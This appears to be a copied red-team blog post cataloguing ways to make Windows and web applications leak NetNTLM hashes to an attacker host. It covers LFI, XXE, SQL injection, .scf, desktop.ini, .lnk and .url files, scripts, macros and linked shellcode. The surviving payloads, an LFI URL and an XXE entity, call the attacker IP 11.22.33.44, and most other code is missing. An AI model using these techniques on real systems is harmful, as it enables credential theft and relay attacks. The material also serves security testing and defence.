Places to steal NTLM creds
All this POST was copied from: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/****
One day me and @m3g9tr0n were discussing different places where we can use responder in stealing NetNTLM hashes. After experimenting I thought of writing this post along with some cool findings in the world of Windows. SMBRelay attacks are also possible in these scenarios.
LFI
The include() in PHP will resolve the network path for us.
http://host.tld/?page=//11.22.33.44/@OsandaMalithXXE
In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
<name></name>
<tel></tel>
<email>OUT&xxe;OUT</email>
<password></password>
</root>XPath Injection
Usually, doc() is used in out-of-band XPath injections, thus can be applied in resolving a network path.
MySQL Injection
I have written a complete post on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path.
MSSQL
Since stacked queries are supported we can call stored procedures.
Regsvr32
Accidently found this one while experimenting with .sct files.
Batch
There are many possible ways you can explore
Auto-Complete
You just need to type ‘\host\’ the auto-complete will do the trick under the explorer and the run dialog box.

Autorun.inf
Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work.
Shell Command Files
You can save this as something.scf and once you open the folder explorer will try to resolve the network path for the icon.
Desktop.ini
The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.
In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’.
Shortcut Files (.lnk)
We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.
The Powershell version.
Internet Shortcuts (.url)
Another shortcut in Windows is the Internet shortcuts. You can save this as something.url
Autorun with Registry
You can add a new registry key in any of the following paths.
Powershell
There are probably many scriptlets in Powershell that would resolve a network path.
IE
IE will resolve UNC paths. For example
You can inject under XSS or in scenarios you find SQL injection. For example.
VBScript
You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files.
You can apply in web pages but this works only with IE.
Here’ the encoded version. You can encode and save this as something.vbe
You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE.
JScript
You can save this as something.js under windows.
You can apply the same in html files but only works with IE. Also you can save this as something.hta.
Here’s the encoded version. You can save this as something.jse.
The html version of this.
Windows Script Files
Save this as something.wsf.
Shellcode
Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed.
https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html
Shellcode Inside Macros
Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application.
https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba
Shellcode Inside VBS and JS
subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL. http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats. Note the following shellcode directs to my IP.
JScript
https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js
VBScript
https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs
There might be many other ways in Windows. You never know! 🙂
References
最后更新于
这有帮助吗?









